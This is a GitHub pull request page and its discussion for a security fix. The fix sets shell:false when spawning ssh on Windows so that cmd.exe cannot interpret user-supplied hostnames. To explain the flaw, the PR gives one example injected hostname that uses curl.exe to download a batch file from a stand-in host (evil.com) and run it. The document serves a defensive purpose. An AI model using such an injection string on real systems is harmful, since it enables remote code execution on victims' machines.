Skip to content

fix(security): remove shell injection vector in Windows process spawning#2687

Open
Ivorisnoob wants to merge 6 commits into
pingdotgg:mainfrom
Ivorisnoob:main
Open

fix(security): remove shell injection vector in Windows process spawning#2687
Ivorisnoob wants to merge 6 commits into
pingdotgg:mainfrom
Ivorisnoob:main

Conversation

@Ivorisnoob
Copy link
Copy Markdown
Contributor

@Ivorisnoob Ivorisnoob commented May 14, 2026

What Changed

Replaced shell: process.platform === "win32" with shell: false for
seven spawn sites that invoke native Windows executables:

  • packages/ssh/src/command.tsssh
  • packages/ssh/src/tunnel.tsssh
  • packages/tailscale/src/tailscale.ts (×2) — tailscale
  • apps/server/src/project/Layers/RepositoryIdentityResolver.ts (×2) — git
  • apps/server/src/diagnostics/ProcessDiagnostics.tspowershell.exe / ps
  • apps/server/src/terminal/Layers/Manager.tspowershell.exe

npm-installed CLIs (claude, codex, cursor, opencode) are left
unchanged — on Windows these may only exist as .cmd batch wrappers,
which require shell resolution to execute.

Why

With shell: true, Node.js constructs:

cmd.exe /d /s /c "ssh -o BatchMode=no -o ConnectTimeout=10 <HOSTNAME>"

cmd.exe interprets &, |, and ; as command separators even
inside this string. The SSH hostname is user-controlled and passed
through with no sanitization, so a value like:

host.com & curl.exe http://evil.com/x.bat -o x.bat & x.bat

causes cmd.exe to download and execute the payload immediately after
the (failing) SSH attempt — silent RCE on the developer's machine.

ssh.exe, tailscale.exe, git.exe, and powershell.exe are all
native executables available on %PATH%. They spawn correctly with
shell: false, which passes the args array directly to the OS with no
shell interpretation.

UI Changes

N/A

Checklist

  • This PR is small and focused
  • I explained what changed and why
  • I included before/after screenshots for any UI changes
  • I included a video for animation/interaction changes

Note

Medium Risk
Changes how SSH commands/tunnels are spawned (no shell) which reduces Windows command-injection risk but could impact Windows execution behavior if ssh resolution differed previously.

Overview
Removes the Windows-specific shell: process.platform === "win32" behavior and now spawns ssh with shell: false in both runSshCommandInScope (command.ts) and startSshTunnel (tunnel.ts).

This prevents cmd.exe argument interpretation on Windows (mitigating shell-injection via user-controlled SSH target values) while keeping the rest of the SSH argument construction unchanged.

Reviewed by Cursor Bugbot for commit 0a7b7f3. Bugbot is set up for automated code reviews on this repo. Configure here.

Note

Remove shell injection vector in Windows SSH process spawning

Sets shell: false unconditionally in both runSshCommandInScope and startSshTunnel in command.ts and tunnel.ts, replacing the previous process.platform === "win32" conditional. This eliminates a shell injection risk that existed when spawning SSH child processes on Windows.

Macroscope summarized 0a7b7f3.

ssh, tailscale, git, and powershell.exe are native executables and do
not need cmd.exe as an intermediary. Passing shell:true caused Node.js
to route args through `cmd.exe /d /s /c "..."`, where metacharacters
like & and | are interpreted as command separators. A user-controlled
hostname in the SSH flow could trigger arbitrary command execution.

npm-installed CLIs (claude, codex, cursor) are intentionally left with
shell:true as they may only exist as .cmd wrappers on Windows.
@coderabbitai
Copy link
Copy Markdown

coderabbitai Bot commented May 14, 2026

Important

Review skipped

Auto reviews are disabled on this repository. Please check the settings in the CodeRabbit UI or the .coderabbit.yaml file in this repository. To trigger a single review, invoke the @coderabbitai review command.

⚙️ Run configuration

Configuration used: Repository UI

Review profile: CHILL

Plan: Pro

Run ID: 9db267a2-9354-4bc9-a8bd-2ec230507616

You can disable this status message by setting the reviews.review_status to false in the CodeRabbit configuration file.

Use the checkbox below for a quick retry:

  • 🔍 Trigger review
✨ Finishing Touches
🧪 Generate unit tests (beta)
  • Create PR with unit tests

Tip

💬 Introducing Slack Agent: The best way for teams to turn conversations into code.

Slack Agent is built on CodeRabbit's deep understanding of your code, so your team can collaborate across the entire SDLC without losing context.

  • Generate code and open pull requests
  • Plan features and break down work
  • Investigate incidents and troubleshoot customer tickets together
  • Automate recurring tasks and respond to alerts with triggers
  • Summarize progress and report instantly

Built for teams:

  • Shared memory across your entire org—no repeating context
  • Per-thread sandboxes to safely plan and execute work
  • Governance built-in—scoped access, auditability, and budget controls

One agent for your entire SDLC. Right inside Slack.

👉 Get started


Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

Comment @coderabbitai help to get the list of available commands and usage tips.

@github-actions github-actions Bot added size:S 10-29 changed lines (additions + deletions). vouch:unvouched PR author is not yet trusted in the VOUCHED list. labels May 14, 2026
@macroscopeapp
Copy link
Copy Markdown
Contributor

macroscopeapp Bot commented May 14, 2026

Approvability

Verdict: Needs human review

Changes to SSH process spawning code in a security-sensitive package. While removing shell execution hardens against injection, the original Windows-specific behavior existed for functional reasons and this change could affect Windows runtime behavior. Security-sensitive code paths warrant human review.

You can customize Macroscope's approvability policy. Learn more.

@juliusmarminge
Copy link
Copy Markdown
Member

problem is most of these just doesn't work without shell: true :/

@Ivorisnoob
Copy link
Copy Markdown
Contributor Author

problem is most of these just doesn't work without shell: true :/

Yeah you're right about the others, reverted those. Kept only the SSH one because ssh.exe is a native exe on Windows 11 (confirmed at C:\Windows\System32\OpenSSH\ssh.exe), so it doesn't need cmd.exe at all. And the hostname is literally the only spot in the whole codebase where user-typed input goes straight into spawn args without any sanitization, so that one's a real issue.

@github-actions github-actions Bot added size:XL 500-999 changed lines (additions + deletions). size:XS 0-9 changed lines (additions + deletions). and removed size:S 10-29 changed lines (additions + deletions). size:XL 500-999 changed lines (additions + deletions). labels May 14, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

size:XS 0-9 changed lines (additions + deletions). vouch:unvouched PR author is not yet trusted in the VOUCHED list.

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants